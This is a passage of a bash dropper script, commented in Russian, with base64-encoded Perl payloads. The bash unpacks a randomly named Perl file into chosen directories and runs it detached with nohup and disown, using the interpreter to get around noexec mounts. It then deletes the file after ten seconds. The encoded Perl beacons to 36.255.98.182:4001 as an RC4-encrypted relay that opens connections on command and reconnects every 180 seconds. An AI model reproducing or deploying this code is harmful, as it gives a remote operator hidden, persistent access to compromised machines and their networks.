Rkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_c2911bc5() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xODInOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7Cgk